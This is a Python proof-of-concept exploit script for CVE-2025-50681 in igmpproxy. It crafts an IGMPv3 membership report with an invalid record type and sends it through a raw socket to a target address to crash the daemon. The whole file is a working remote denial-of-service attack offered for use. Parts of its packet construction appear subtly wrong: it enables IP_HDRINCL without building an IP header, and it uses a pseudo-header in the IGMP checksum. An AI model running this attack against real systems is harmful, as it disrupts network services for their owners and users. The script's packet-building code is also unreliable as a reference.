#!/usr/bin/env python3
# CVE-2025-50681 PoC - igmpproxy NULL Pointer Dereference
# Target: igmpproxy < 0.4 (before commit 2b30c36)
# Effect: Remote Denial of Service via crafted IGMPv3 membership report
import socket
import struct
import sys
def create_igmpv3_membership_report(malicious_src_ip, group_address):
"""
Create a crafted IGMPv3 membership report packet with invalid group record type.
This triggers NULL pointer dereference in inet_fmtsrc() function.
"""
# IGMPv3 Membership Report packet structure
# Type: 0x22 (IGMPv3 Membership Report)
igmp_type = 0x22
reserved1 = 0x00
checksum = 0x0000 # Will be calculated later
# Reserved field
reserved2 = 0x0000
# Number of group records (at least 1)
num_group_records = 1
# Group record - trigger NULL pointer dereference
# Using invalid/unsupported group record type to cause the vulnerability
record_type = 0xFF # Invalid record type (should be 1-4)
aux_data_len = 0x00
num_sources = 0x0000
# Multicast group address
group_addr = socket.inet_aton(group_address)
# Construct group record
group_record = struct.pack('!BBHH', record_type, aux_data_len, num_sources, 0)[:4]
group_record += group_addr
# Construct IGMP header
igmp_header = struct.pack('!BBHHH',
igmp_type,
reserved1,
checksum,
reserved2,
num_group_records)
# Full packet
packet = igmp_header + group_record
# Calculate and set checksum
checksum = calculate_igmp_checksum(packet, malicious_src_ip)
packet = packet[:2] + struct.pack('!H', checksum) + packet[4:]
return packet
def calculate_igmp_checksum(packet, src_ip):
"""Calculate IGMP checksum for the packet."""
# Create pseudo-header for checksum calculation
pseudo_header = socket.inet_aton(src_ip) + socket.inet_aton('224.0.0.22') + struct.pack('!H', len(packet))
# Combine pseudo-header with packet data
data = pseudo_header + packet
# Calculate checksum (16-bit one's complement)
if len(data) % 2 == 1:
data += b'\x00'
total = 0
for i in range(0, len(data), 2):
total += (data[i] << 8) + data[i+1]
while total > 0xFFFF:
total = (total & 0xFFFF) + (total >> 16)
return ~total & 0xFFFF
def exploit(target_ip, malicious_src, group_address='239.255.255.250'):
"""
Send crafted IGMPv3 packet to trigger CVE-2025-50681.
Args:
target_ip: IP address of the target running igmpproxy
malicious_src: Source IP address to spoof (causes NULL pointer)
group_address: Multicast group address
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IGMP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
packet = create_igmpv3_membership_report(malicious_src, group_address)
print(f"[*] Sending crafted IGMPv3 Membership Report to {target_ip}")
print(f"[*] Malicious source: {malicious_src}")
print(f"[*] Target group: {group_address}")
print(f"[*] Packet size: {len(packet)} bytes")
sock.sendto(packet, (target_ip, 0))
sock.close()
print("[+] Packet sent successfully")
print("[*] If vulnerable, igmpproxy should crash due to NULL pointer dereference")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_ip> <malicious_src_ip> [group_ip]")
print(f"Example: {sys.argv[0]} 192.168.1.1 10.0.0.1")
sys.exit(1)
target = sys.argv[1]
src_ip = sys.argv[2]
group = sys.argv[3] if len(sys.argv) > 3 else "239.255.255.250"
exploit(target, src_ip, group)